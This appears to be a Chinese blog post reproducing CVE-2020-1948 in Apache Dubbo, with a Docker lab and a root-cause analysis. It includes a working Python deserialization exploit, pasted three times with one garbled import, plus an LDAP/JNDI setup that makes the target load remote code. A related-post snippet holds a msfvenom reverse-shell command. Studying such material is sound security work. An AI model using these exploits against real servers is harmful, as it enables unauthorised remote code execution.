Dubbo-CVE-2020-1948

于 2023-10-07 10:41:40 发布
阅读量80 收藏
点赞数
文章标签： dubbo java 网络 大数据
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/why811/article/details/133634231
版权

APache Dubbo简介

Dubbo是一个分布式服务框架，致力于提供高性能和透明化的RPC远程服务调用方案，以及SOA服务治理方案。简单的说，dubbo就是个服务框架，如果没有分布式的需求，其实是不需要用的，只有在分布式的时候，才有dubbo这样的分布式服务框架的需求，并且本质上是个服务调用的东西，说白了就是个远程服务调用的分布式框架（告别Web Service模式中的WSDL，以服务者与消费者的方式在dubbo上注册） 其核心部分包含:

  • 远程通讯: 提供对多种基于长连接的NIO框架抽象封装，包括多种线程模型，序列化，以及“请求-响应”模式的信息交换方式。
  • 集群容错: 提供基于接口方法的透明远程过程调用，包括多协议支持，以及软负载均衡，失败容错，地址路由，动态配置等集群支持。
  • 自动发现: 基于注册中心目录服务，使服务消费方能动态的查找服务提供方，使地址透明，使服务提供方可以平滑增加或减少机器。

下图是官方的工作原理图和解释

async 异步
sync 同步
  • Provider :暴露服务方称为服务提供者
  • Consumer :调用远程服务方称为服务消费者
  • Rrgister：服务注册与发现的中心目录服务称之为服务注册中心
  • Monitor：统计服务的调用次数和 时间的日志服务称为服务监控中心
  • Container：服务运行容器

Provider将本地提供的远程方法在注册中心进行注册，Consumer需要调用时会先去注册中心进行查询，根据注册中心返回的结果再去对应的Provider中调用对应的远程方法，如果有变更，注册中心将基于长连接推送变更数据给Consumer 。

启动注册中心，Apache dubbo 推荐使用的注册中心时Apache ZooKeeper注册中心 下载地址Apache ZooKeeper

环境复现

影响版本
Dubbo 2.7.0 - 2.7.6
Dubbo 2.6.0 - 2.6.7
Dubbo 2.5.x

docker操作

docker pull dsolab/dubbo:cve-2020-1948

docker run -p 12345:12345 dsolab/dubbo:cve-2020-1948 -d

漏洞利用

  1. 编写java代码，进行简单的命令执行，这里以ping命令为例，用检测无回显的dnslog用于验证
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class exp {
    public exp(){
        try {
            java.lang.Runtime.getRuntime().exec("ping zqmp97.dnslog.cn");
        } catch (java.io.IOException e) {
            e.printStackTrace();
        }
    }
}
  1. 编译java代码为class文件

javac poc.java

最后得到class文件，这里遇到了一下javac -bash command not found的问题

使用如下命令解决

yum install java-1.8.0-openjdk-devel.x86_64

原因：下载的时候只执行了yum install java,导致不是完整的jdk

参考链接：https://www.cnblogs.com/sirdong/p/11987639.html

  1. 启动静态网站服务，apache,nginx都可以，这里以python 开启80端口的web服务为例

python -m SimpleHTTPServer 80

  1. 在另一个终端下载marshalsec,启动LDAP代理服务

下载地址: https://github.com/RandomRobbieBF/marshalsec-jar

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://vps/#exp 777

参考链接：https://www.cnblogs.com/afanti/p/11266087.html

java 反序列化利用工具 marshalsec 使用简介-CSDN博客

LDAP：轻型目录访问协议 （ 英文 ：Lightweight Directory Access Protocol ）是一个开放的，中立的，工业标准的 应用协议 ，通过 IP协议 提供访问控制和维护分布式信息的目录信息。轻型目录访问协议 （ 英文 ：Lightweight Directory Access Protocol）是一个开放的，中立的，工业标准的 应用协议，通过 IP协议提供访问控制和维护分布式信息的目录信息。
marshalsec 的用法,使用形式如下
java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]]
参数说明
  • -a：生成exploit下的所有payload(例如：hessian下的SpringPartiallyComparableAdvisorHolder, SpringAbstractBeanFactoryPointcutAdvisor, Rome, XBean, Resin）
  • -t：对生成的payloads进行解码测试
  • -v：verbose mode, 展示生成的payloads
  • gadget_type：指定使用的payload
  • arguments - payload运行时使用的参数
  • marshalsec.<marshaller>：指定exploits，根目录下的java文件名
  1. 编写python的脚本exp.py

在此之前，需要安装模块

pip install dubbo-py 
# exp.py
# -*- coding: utf-8 -*-
 
import sys
 

from dubbodbcRowSetImpl.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient
 

if len(sys.argv) < 4:
  print('Usage: python {} DUBBO_HOST DUBBO_PORT LDAP_URL'.format(sys.argv[0]))
  print('\nExample:\n\n- python {} 1.1.1.1 12345 ldap://1.1.1.6:80/exp'.format(sys.argv[0]))
  sys.exit()
 

client = DubboClient(sys.argv[1], int(sys.argv[2]))
 
 
JdbcRowSetImpl=new_object(
  'com.sun.rowset.JdbcRowSetImpl',
  dataSource=sys.argv[3],
  strMatchColumns=["foo"]
  )
JdbcRowSetImplClass=new_object(
  'java.lang.Class',
  name="com.sun.rowset.JdbcRowSetImpl",
  )
toStringBean=new_object(
  'com.rometools.rome.feed.impl.ToStringBean',
  beanClass=JdbcRowSetImplClass,
  obj=JdbcRowSetImpl
  )

resp = client.send_request_and_return_response(
  service_name='org.apache.dubbo.spring.boot.sample.consumer.DemoService',
  # 此处可以是 $invoke、$invokeSync、$echo 等，通杀 2.7.7 及 CVE 公布的所有版本。
  method_name='$invoke',
  args=[toStringBean])

output = str(resp)
if 'Fail to decode request due to: RpcInvocation' in output:
  print('[!] Target maybe not support deserialization.')
elif 'EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString()' in output:
   print('[+] Succeed.')
else:
  print('[!] Output:')
  print(output)
  print('[!] Target maybe not use dubbo-remoting library.') 
# exp.py
# -*- coding: utf-8 -*-
 
import sys
 

from dubbodbcRowSetImpl.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient
 

if len(sys.argv) < 4:
  print('Usage: python {} DUBBO_HOST DUBBO_PORT LDAP_URL'.format(sys.argv[0]))
  print('\nExample:\n\n- python {} 1.1.1.1 12345 ldap://1.1.1.6:80/exp'.format(sys.argv[0]))
  sys.exit()
 

client = DubboClient(sys.argv[1], int(sys.argv[2]))
 
 
JdbcRowSetImpl=new_object(
  'com.sun.rowset.JdbcRowSetImpl',
  dataSource=sys.argv[3],
  strMatchColumns=["foo"]
  )
JdbcRowSetImplClass=new_object(
  'java.lang.Class',
  name="com.sun.rowset.JdbcRowSetImpl",
  )
toStringBean=new_object(
  'com.rometools.rome.feed.impl.ToStringBean',
  beanClass=JdbcRowSetImplClass,
  obj=JdbcRowSetImpl
  )

resp = client.send_request_and_return_response(
  service_name='org.apache.dubbo.spring.boot.sample.consumer.DemoService',
  # 此处可以是 $invoke、$invokeSync、$echo 等，通杀 2.7.7 及 CVE 公布的所有版本。
  method_name='$invoke',
  args=[toStringBean])

output = str(resp)
if 'Fail to decode request due to: RpcInvocation' in output:
  print('[!] Target maybe not support deserialization.')
elif 'EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString()' in output:
   print('[+] Succeed.')
else:
  print('[!] Output:')
  print(output)
  print('[!] Target maybe not use dubbo-remoting library.')
  1. 执行相应的py脚本

python exp.py 目标vps ldap://己方vps:777/exp

出现success的时候，说明成功

然后观察dnslog，也可以发现回显

同时我们可以留意一下相关的LDAP服务，当出现转发成功的时候，自然也是成功的

参考文章：Apache Dubbo CVE-2020-1948 反序列化漏洞利用-CSDN博客

原理研究

源码版本：dubbo v2.7.6

下载地址：https://github.com/apache/dubbo-spring-boot-project/tree/35568ff32d3a0fcbbd6b3e14a9f7c0a71b6b08ee

下载后，将项目导入IDEA

我们开始分析一下现有的exp

poc1

# exp.py
# -*- coding: utf-8 -*-
 
import sys
 

from dubbodbcRowSetImpl.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient
 

if len(sys.argv) < 4:
  print('Usage: python {} DUBBO_HOST DUBBO_PORT LDAP_URL'.format(sys.argv[0]))
  print('\nExample:\n\n- python {} 1.1.1.1 12345 ldap://1.1.1.6:80/exp'.format(sys.argv[0]))
  sys.exit()
 

client = DubboClient(sys.argv[1], int(sys.argv[2]))
 
 
JdbcRowSetImpl=new_object(
  'com.sun.rowset.JdbcRowSetImpl',
  dataSource=sys.argv[3],
  strMatchColumns=["foo"]
  )
JdbcRowSetImplClass=new_object(
  'java.lang.Class',
  name="com.sun.rowset.JdbcRowSetImpl",
  )
toStringBean=new_object(
  'com.rometools.rome.feed.impl.ToStringBean',
  beanClass=JdbcRowSetImplClass,
  obj=JdbcRowSetImpl
  )

resp = client.send_request_and_return_response(
  service_name='org.apache.dubbo.spring.boot.sample.consumer.DemoService',
  # 此处可以是 $invoke、$invokeSync、$echo 等，通杀 2.7.7 及 CVE 公布的所有版本。
  method_name='$invoke',
  args=[toStringBean])

output = str(resp)
if 'Fail to decode request due to: RpcInvocation' in output:
  print('[!] Target maybe not support deserialization.')
elif 'EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString()' in output:
   print('[+] Succeed.')
else:
  print('[!] Output:')
  print(output)
  print('[!] Target maybe not use dubbo-remoting library.')

poc2

from dubbo.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient

client = DubboClient('127.0.0.1', 12345)

JdbcRowSetImpl=new_object(
      'com.sun.rowset.JdbcRowSetImpl',
      dataSource="ldap://127.0.0.1:8087/#ExportObject",
      strMatchColumns=["foo"]
      )
JdbcRowSetImplClass=new_object(
      'java.lang.Class',
      name="com.sun.rowset.JdbcRowSetImpl",
      )
toStringBean=new_object(
      'com.rometools.rome.feed.impl.ToStringBean',
      beanClass=JdbcRowSetImplClass,
      obj=JdbcRowSetImpl
      )

resp = client.send_request_and_return_response(
    service_name='org.apache.dubbo.spring.boot.demo.consumer.DemoService',
    method_name='rce',
    args=[toStringBean])

不难发现，该漏洞利用链最终是通过JdbcRowSetImpl调用jndi来进行远程代码执行。同时我们发现该gadget中用到了com.rometools.rome.feed.impl.ToStringBean，所以Provider的pom.xml中需要添加rometools的引用

我们向dubbo-spring-boot-samples/auto-configure-samples/provider-samplepom.xml 添加依赖

<dependency>
    <groupId>com.rometools</groupId>
    <artifactId>rome</artifactId>
    <version>1.7.0</version>
</dependency>

然后导入依赖

漏洞成因

本次漏洞利用的是 com.rometools.rome.feed.impl.ToStringBean#toString 方法，重写了 toString，该方法将会调用构造对象的所有 getter 方法

从上面 PoC 可以看到，执行 Dubbo 调用时，传入的是 ToStringBean 类型参数，构造的对象是com.sun.rowset.JdbcRowSetImpl，并且 datasource 属性设置的是 JNDI 暴露的 url，在调用 JdbcRowSetImpl 的 getDatabaseMetaData 方法时，执行 connect 操作，下载远端代码，在 Service Provider 执行，造成攻击。

调起 toString 方法的地方是在 Dubbo Provider 接收 DecodeHandler#received:44 请求，在 DecodeableRpcInvocation#decode 反序列化参数的地方：

dubbo 默认使用的是 hession2 序列化，解析参数执行的是这个方法

org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectInput#readUTF

在 hession 反序列化过程中，通过下面代码段执行到了 ToStringBean#toString

堆栈利用链

connect:624, JdbcRowSetImpl (com.sun.rowset)
getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
toString:158, ToStringBean (com.rometools.rome.feed.impl)
toString:129, ToStringBean (com.rometools.rome.feed.impl)
beanHashCode:198, EqualsBean (com.rometools.rome.feed.impl)
hashCode:180, EqualsBean (com.rometools.rome.feed.impl)
hash:339, HashMap (java.util)
put:612, HashMap (java.util)
doReadMap:145, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readMap:126, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readObject:2703, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2278, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2080, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2074, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:92, Hessian2ObjectInput (org.apache.dubbo.common.serialize.hessian2)
decode:139, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
decode:79, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
decode:57, DecodeHandler (org.apache.dubbo.remoting.transport)
received:44, DecodeHandler (org.apache.dubbo.remoting.transport)
run:57, ChannelEventRunnable (org.apache.dubbo.remoting.transport.dispatcher)

修复建议

  1. 删除 RpcInvocation 类的 toString 方法中输出的 arguments 参数,防范后反序列化攻击。同时对 Hessian 进行黑白名单加固来防范 Hessian 反序列化攻击。
  2. 升级 2.7.7 版本，并根据https://github.com/apache/dubbo/pull/6374/commits/8fcdca112744d2cb98b349225a4aab365af563de 的方法进行参数校验
  3. 禁止将 Dubbo 服务端端口开放给公网，或仅仅只对能够连接至 Dubbo 服务端的可信消费端IP开放
  4. Dubbo 协议默认采用 Hessian 作为序列化反序列化方式，该反序列化方式存在反序列化漏洞。在不影响业务的情况下，建议更换协议以及反序列化方式。具体更换方法可参考：http://dubbo.apache.org/zh-cn/docs/user/references/xml/dubbo-protocol.html

参考文章：

https://www.cnblogs.com/JingQ/p/13329083.html

https://www.cnblogs.com/zhengjim/p/13204194.html

https://www.cnblogs.com/zhengjim/p/13204194.html

Apache Dubbo (CVE-2020-1948) 反序列化漏洞及其补丁绕过深度分析

why811
关注
Apache Dubbo 反序列化漏洞(CVE-2020-1948)
m0_46689007的博客
11-29 712
使用marshalsec开启ldap时，如果ldap服务和http服务上有日志，但时恶意命令没有执行，可以将"http://192.168.146.128#exp "改为"http://192.168.146.128/#exp"docker环境执行命令可能需要编码，如果ldap服务和http服务上有日志，但时恶意命令没有执行，将命令编码。看到ldap服务被访问，重定向到我们的http服务上的exp.class类。这一段是被攻击机访问攻击机的http服务上的恶意类exp.class。
CVE-2020-1948补丁绕过 Apache Dubbo 远程代码执行漏洞
AmyBaby00的博客
06-30 1094
漏洞背景 2020年06月23日， 360CERT监测发现 Apache Dubbo 官方 发布了 Apache Dubbo 远程代码执行 的风险通告，该漏洞编号为 CVE-2020-1948，漏洞等级：高危。 Apache Dubbo 是一款高性能、轻量级的开源Java RPC框架，它提供了三大核心能力：面向接口的远程方法调用，智能容错和负载均衡，以及服务自动注册和发现。 Apache Dubbo Provider 存在 反序列化漏洞，攻击者可以通过RPC请求发送无法识别的服务名称或方法名称以及一些恶意参
CVE-2020-1948 Apache dubbo远程命令执行漏洞
最新发布
yyj1781572的博客
04-02 1458
通过该实验了解漏洞产生的原因，掌握基本的漏洞利用及使用方法，并能给出加固方案。
Apache Dubbo 反序列化-(CVE-2020-1948)
tamchikit的博客
01-04 401
Apache Dubbo 反序列化-(CVE-2020-1948)
Apache Dubbo CVE-2020-1948 测试环境复现
aweiweiweiei1的博客
01-26 267
https://github.com/txrw/Dubbo-CVE-2020-1948
Apache Dubbo Provider默认反序列化RCE(CVE-2020-1948)复现
玄道的网安博客
03-05 1236
简介 Apache Dubbo是一款高性能、轻量级的开源Java RPC框架，它提供了三大核心能力：面向接口的远程方法调用，智能容错和负载均衡，以及服务自动注册和发现。 影响版本 Dubbo 2.7.0 - 2.7.6 Dubbo 2.6.0 - 2.6.7 Dubbo 2.5.x 环境搭建 docker 拉取环境 docker pull dsolab/dubbo:cve-2020-1948 docker启动 docker run -p 1...
初探Hessian利用链为Dubbo-CVE占坑
Q54665642ljf的博客
09-12 341
Hessian 是caucho公司的工程项目，为了达到或超过 ORMI/Java JNI 等其他跨语言/平台调用的能力设计而出，在 2004 点发布 1.0 规范，一般称之为 Hessian ，并逐步迭代，在 Hassian jar 3.2.0 之后，采用了新的 2.0 版本的协议，一般称之为 Hessian 2.0。这是一种动态类型的二进制序列化和Web 服务协议，专为面向对象的传输而设计。
Dubbo-2.7.22
03-17
解决反序列化漏洞更新包；dubbo-2.7.22.jar ;CVE漏洞
CVE-2020-1948: Apache Dubbo 远程代码执行漏洞通告
爱国小白帽
06-23 3142
CVE-2020-1948: Apache Dubbo 远程代码执行漏洞通告 360-CERT [三六零CERT](javascript:void(0)???? 今天 0x00 漏洞背景 2020年06月23日， 360CERT监测发现 Apache Dubbo 官方 发布了 Apache Dubbo 远程代码执行 的风险通告，该漏洞编号为 CVE-2020-1948，漏洞等级：高危。 Apache Dubbo 是一款高性能、轻量级的开源Java RPC框架，它提供了三大核心能力：面向接口的远程方法调用，
Apache Dubbo CVE-2020-1948 反序列化漏洞利用
weixin_46137328的博客
07-08 2117
0x00 漏洞背景2020年06月23日， Apache Dubbo 官方发布了Apache Dubbo 远程代码执行的风险通告，该漏洞编号为CVE-2020-1948，漏洞等级：高危。...
Apache Dubbo Provider 远程代码执行漏洞 (CVE-2020-1948)附docker环境
scrooge51的博客
07-07 785
漏洞原理 Dubbo协议默认采用Hessian作为序列化反序列化方式，而Hessian存在危险的反序列化漏洞,攻击者发送未经验证的服务名或方法名的RPC请求,使Dubbo服务端加载远程恶意类从而执行恶意代码. 影响版本 Apache Dubbo 2.7.0 ~ 2.7.6 Apache Dubbo 2.6.0 ~ 2.6.7 Apache Dubbo 2.5.x 所有版本 (官方不再提供支持) 复现流程 漏洞环境(待审核) 1. 利用docker搭建漏洞环境 //本地创建环境: cd docker/
【补丁绕过】CVE-2020-1948 : Apache Dubbo 远程代码执行漏洞通告更新
爱国小白帽
06-30 939
【补丁绕过】CVE-2020-1948 : Apache Dubbo 远程代码执行漏洞通告更新 360-CERT [三六零CERT](javascript:void(0)???? 今天 0x00 漏洞背景 2020年06月23日， 360CERT监测发现 Apache Dubbo 官方 发布了 Apache Dubbo 远程代码执行 的风险通告，该漏洞编号为 CVE-2020-1948，漏洞等级：高危。 Apache Dubbo 是一款高性能、轻量级的开源Java RPC框架，它提供了三大核心能力：面向接
[CVE-2020-1948]Apache Dubbo Provider默认反序列化RCE
公众号shadow sock7
06-24 5242
git clone https://github.com/apache/dubbo-spring-boot-project cd dubbo-spring-boot-project git checkout 2.7.1 -b b2.7.1 # 将整个项目dubbo-spring-boot-project导入IDEA 在dubbo-spring-boot-samples/auto-configure-samples/provider-sample/pom.xml 引入以下依赖： <d
[CVE-2020-1948] Apache Dubbo 反序列化漏洞分析
阿道夫的博客
12-17 556
Dubbo 是一款高性能、轻量级的开源 Java RPC 框架，它提供了三大核心能力：面向接口的远程方法调用，智能容错和负载均衡，以及服务自动注册和发现。
dubbo CVE-2019-17564 CVE-2020-1948 漏洞复现
寒星的博客
06-02 2390
简介 Apache Dubbo是一款高性能、轻量级的开源Java RPC框架，它提供了三大核心能力：面向接口的远程方法调用，智能容错和负载均衡，以及服务自动注册和发现。 CVE-2019-17564 漏洞简介 Apache Dubbo支持多种协议，官方默认为 Dubbo 协议，但是当用户选择http协议进行通信时，Apache Dubbo 在接受来自消费者的远程调用的POST请求的时候会执行一个反序列化的操作，由于没有任何安全校验，于是可以造成反序列化执行任意代码。 影响版本 2.7.0 <= Ap.
cve-2020-1938复现
热门推荐
梦之序章的博客
02-21 1万+
一、 Tomcat 服务器是一个免费的开放源代码的Web 应用服务器，其安装后会默认开启ajp连接器，方便与其他web服务器通过ajp协议进行交互。属于轻量级应用服务器，在中小型系统和并发访问用户不是很多的场合下被普遍使用，是开发和调试JSP 程序的首选。对于一个初学者来说，可以这样认为，当在一台机器上配置好Apache 服务器，可利用它响应HTML（标准通用标记语言下的一个应用）页面的访问请求。...
CVE-2020-1938(RCE利用)
午夜安全
03-27 1万+
CVE-2020-1938(RCE利用) 1.使用msf生成反弹shell马，并且监听 msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.223.129 LPORT=6666 R > shell.png 假设利用上传点，把此图片上传到了目标服务器/log/shell.png。 在msf监听： msf > use expl...
Dubbo-Admin安装与配置指南
"dubbo-admin的安装使用手册" 在IT行业中，Dubbo是一个广泛使用的Java分布式服务框架，由阿里巴巴开源，现已成为Apache顶级项目。而Dubbo-admin是Dubbo生态系统的一部分，它提供了一个可视化的管理控制台，允许...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值